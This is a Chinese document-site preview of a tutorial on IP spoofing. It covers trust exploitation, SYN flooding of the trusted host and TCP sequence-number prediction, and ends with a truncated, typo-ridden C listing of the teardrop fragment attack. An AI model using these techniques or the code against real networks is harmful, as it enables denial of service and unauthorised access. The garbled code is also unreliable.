IP欺骗攻击.doc

上传人:美****子 文档编号:58027197 上传时间:2022-11-06 格式:DOC 页数:10 大小:25KB
返回 下载 相关 举报
IP欺骗攻击.doc_第1页
第1页 / 共10页
IP欺骗攻击.doc_第2页
第2页 / 共10页
点击查看更多>>
资源描述

《IP欺骗攻击.doc》由会员分享,可在线阅读,更多相关《IP欺骗攻击.doc(10页珍藏版)》请在得力文库 - 分享文档赚钱的网站上搜索。

1、黑客攻击的常用方法剖析(2)l IP欺骗攻击由于TCP/IP本身有着不安全的地方,即使是很好的实现了协议,也可以对TCP/IP网络进行攻击。这些攻击包括序列号欺骗、路由攻击、源地址欺骗和授权欺骗。下面介绍IP欺骗攻击方法,这种攻击是建立在攻击者的计算机(包括路由)是连接在Internet上的。这里的攻击方法是针对TCP/IP本身的缺陷的,而不是某一具体的实现。事实上,IP欺骗不是进攻的结果,而是进攻的手段,进攻实际上是信任关系的破坏。1IP欺骗原理所谓IP欺骗,无非就是伪造他人的IP地址,其实质就是让一台计算机来扮演另一台计算机,借以达到蒙混过关的目的。IP欺骗利用了主机之间正常信任关系来发动

2、的。所谓信任关系就是网络上的两台计算机X和Y,Y可以利用远程登录工具,无需要口令验证就可以登录到X主机上,而登录的基础是X对Y主机IP的验证。即X是否对Y的提供服务是基于对主机Y的IP地址的信任。既然X、Y之间的信任关系是基于IP地址建立起来的,那么假如能够冒充Y的IP地址,就可以使rlogin登录上X,而不需要任何口令的验证。这就是IP欺骗的最根本的理论依据。具体的攻击过程:(1)目标主机已选定,比如X。其次,信任模型已被发现,并找到了一个被目标主机信任是主机,比如Y。(2)一旦发现被信任的主机,为了伪装它,往往要使其丧失工作能力。由于攻击者将要代替真正的被信任主机,所以它必须确保真正被信任

3、的主机不能接收到任何有效的网络数据,否则将会被揭穿。(3)使得被信任的主机(Y)丧失工作能力后,伪装成被信任的主机,同时建立起与目标主机基于地址验证的应用连接。如果成功,黑客可以使用一种简单的命令放置一个系统后门,以进行非授权操作。这就是IP欺骗攻击的全过程。攻击过程听起来很完美,但实际上却要有很多工作要做。虽然可以通过编程的方法随意改变发出的包的IP地址,但TCP协议对IP进行了进一步的封装(TCP协议是一种相对可靠的协议),不会让黑客轻易得逞。下面来看一下一次正常的TCP/IP会话的过程:由于TCP是面向连接的协议,所以双方在正式传输数据以前,需要用“三次握手”来建立一个稳定的连接。假设A

4、、B两台主机进行通信,B首先发送带有SYN(是Synchronize,同步序列编号)标志的数据段通知A需要建立TCP连接,TCP的可靠性就是由数据包的多位控制字来提供。其中最重要的是数据序列SYN和数据确认标志ACK。B将TCP报头中的SYN设为自己本次连接的初始值(ISN)。A收到B的SYN包后,会发送给B一个带有SYN+ACK标志的数据段,告知自己的ISN,并确认B发送来的 第一个数据段,将ACK设置成为B的SYN+1。B确认收到A的SYN+ACK数据包,将ACK设置成为A的SYN+1。A收到B的ACK后,连接成功后,双方就可以正式传输数据了。综上所述,TCP/IP会话的过程分为这样简单的

5、3步:(1)B发送带有SYN标志的数据段通知A需要建立TCP连接;(2)A收到B的SYN包后,发送给B一个带有SYN+ACK标志的数据段,告知自己的ISN;(3)B发送ACK给A,连接成功建立。了解上述过程,就很容易向想到:假如要冒充B对A进行攻击,就要先要使用B的IP地址发送SYN标志给A,但是当A收到后,它并不会把SYN+ACK发送到攻击者的主机,而是发送到真正的B上去,这时攻击就“露馅”了。因为A根本没有发送过SYN请求。所以如果要冒充B,首先要让B失去工作能力。但是这还不够,最难的是要对A进行攻击,必须要知道A使用的ISN。(TCP使用的ISN是一个32位的计数器,从0到4294967

6、295)TCP为每一个连接选择一个初始序号ISN。为了防止因为延迟、重传等扰乱三次握手,ISN不能随便选取,不同的系统有不同的算法。因此,理解TCP如何分配ISN以及ISN随时间变化的规律,对于成功攻击IP欺骗攻击是很重要的。ISN每秒增加128000,如果有连接出现,每次连接将把计数器的值增加为64000。这使得用于表示ISN的32位计数器在没有连接情况下没9.32小时复位一次。假设黑客已经使用某种方法,能预测出ISN,那么他就可以将ACK序号发送给主机A,这时连接就建立了。2使主机B瘫痪并猜测出主机A的ISN(1)使被信任的主机B瘫痪由于攻击者将要代替真正的被信任的主机,他必须确保被信任的

7、主机不能收到任何有效的网络数据,否则将会被揭穿。有许多方法可以作到这些。下面仅讨论一种方法,即“TCPSYN淹没”。建立TCP连接的第1步就是客户端向服务器发送SYN请求。通常服务器将向客户端发送SYN/ACK。客户端是由IP地址确定的。客户端随后向服务器发送ACK信号,然后传送数据就开始了。黑客用来发出这些请求的源地址是使用一个合法但是虚假的IP地址。而受攻击的主机往往会向该IP地址发送响应。与此同时IP包会通知受攻击主机的TCP:该主机不可达到,但是不幸的是TCP会认为是一种暂时的错误,并继续尝试连接,直至确信无法连接。但已经耗费了大量宝贵的时间,这段宝贵的空闲时间就是黑客进行攻击目标主机

8、的时间。(2)猜测目标主机A的ISN要对目标主机进行攻击,必须知道目标主机使用的数据包序列号。如何进行预测?攻击者首先与被攻击的一端口(比如端口25)建立起正常的连接。通常,这个过程被重复若干次,并将目标主机最后发送的ISN存储起来。然后还需要估计他的主机与被信任主机之间的往返时间,这个时间是通过多次统计平均计算出的。往返时间对估计下一个ISN是非常重要的。(前面已经提到每秒钟ISN增加128000,每次连续增加64000。因此就可以估计ISN的大小是128000乘以往返时间的一半,如果此时目标主机刚刚建立了一个连接,那么再加上64000)一旦估计出了ISN的大小,就可以进行攻击了。当黑客的虚

9、假的TCP数据包进入目标主机时,如果估计的序列号是正确的,进入的数据将被放置在目标机的缓冲区中。但是实际攻击过程中一般没有那么幸运,若估计的序列号小于正确值,那么将被放弃;若估计的序列号大于正确值,并且在缓冲区大小之内,那么该数据将被认为是一个未来的数据;若估计的序列号大于正确值,并且不在缓冲区之内,TCP将会放弃它并返回一个期望获得的数据序列号。因此,IP欺骗攻击的步骤为:(1)首先使被信任的主机的网络暂时瘫痪,以免对攻击造成干扰;(2)然后连接到目标机的某个端口来猜测ISN基值和增加规律;(3)接下来把源地址伪装成被信任主机,发送带有SYN标志的数据段请求连接。(4)然后,黑客等待目标机发

10、送SYN+ACK包给已经瘫痪的被信任主机,因为黑客这时看不到这个包。(5)最后再次伪装成被信任主机向目标主机发送ACK,此时发送的数据段带有预测的目标主机ISN+1。(6)连接建立发送命令。下面讲一个IP欺骗的实例:#include #include #include #include #include #include #include #include #include #include #ifdef STRINGE_BSD_BYTE_ORDERING_THING#define FIX(n) (n)#else#define FIX(n) htons(n)#endif#define IP_M

11、F 0x2000#define IPH 0x14#define UDPH 0x8#define PADDING 0x1c#define MAGIC 0x3#define COUNT 0x1void usage(u_char *);u_long name_resolve(u_char *);u_short in_cksun(u_short * ,int);void send_frags(int,u_long,u_long,u_short,u_short);int main(int argc,char *argv) int one=1,count=0,I,ip_sock; u_long src_i

12、p=0,dst_ip=0; u_short src_prt=0,dst_prt=0; struct in_addr addr;fprintf(stderr,”teardrop route|datemon9nn”);if(rip_sock=socket(AF_INET,SOCK_RAW,TPPROTO_RAW)0) perror(“raw socket”); exit(1);if(setsockopt(rip_sock,IPPRORO_IP,IP_HDRINCL,(char *)&one,sizeof(one)0) perror(“IP_HDRINCL”); exit(1);if(argc3)

13、usage(argv0);if(!(src_ip=name_resolve(argv1) | !(det_ip= name_resolve(argv2) fprintf(stderr,”What the hell kind of IP address is that?n”); exit(1);while(I=getopt(argc,argv,”s:t:n:”)!=EOF) switch(i) case s: src_pt=(u_short)atoi(optarg); break; case t: dst_pt=(u_short)atoi(optarg); break; case n: coun

14、t=(u_short)atoi(optarg); break; default: usage(argv0); break;srandom(unsigned)(time(time_t)0);if (!src_prt)src_prt=(random() % 0xffff);if (!dst_prt)dst_prt=(random() % 0xffff);if(!count) count=COUNT;fprintf(stderr,”Death on flaxen wings:n”);addr.s_addr=src_ip;fprintf(stderr,”From: %15.s.%5dn”,inet_ntoa(addr),src_prt);addr.s_addr=dst_ip;fprintf(stderr,” To: %15s.%5dn”,inet_ntoa(addr),src_prt);fprintf(stderr,” Amt: %5dn”,count);fprintf(stderr,” “;for(i=0;icount;i+) send_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt); fprintf(stderr,”b00m “); usleep(500);fprintf(stderr,”) n“);return(0);第 10 页

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 应用文书 > 文案大全

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知得利文库网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号-8 |  经营许可证:黑B2-20190332号 |   黑公网安备:91230400333293403D

© 2020-2023 www.deliwenku.com 得利文库. All Rights Reserved 黑龙江转换宝科技有限公司 

黑龙江省互联网违法和不良信息举报
举报电话:0468-3380021 邮箱:hgswwxb@163.com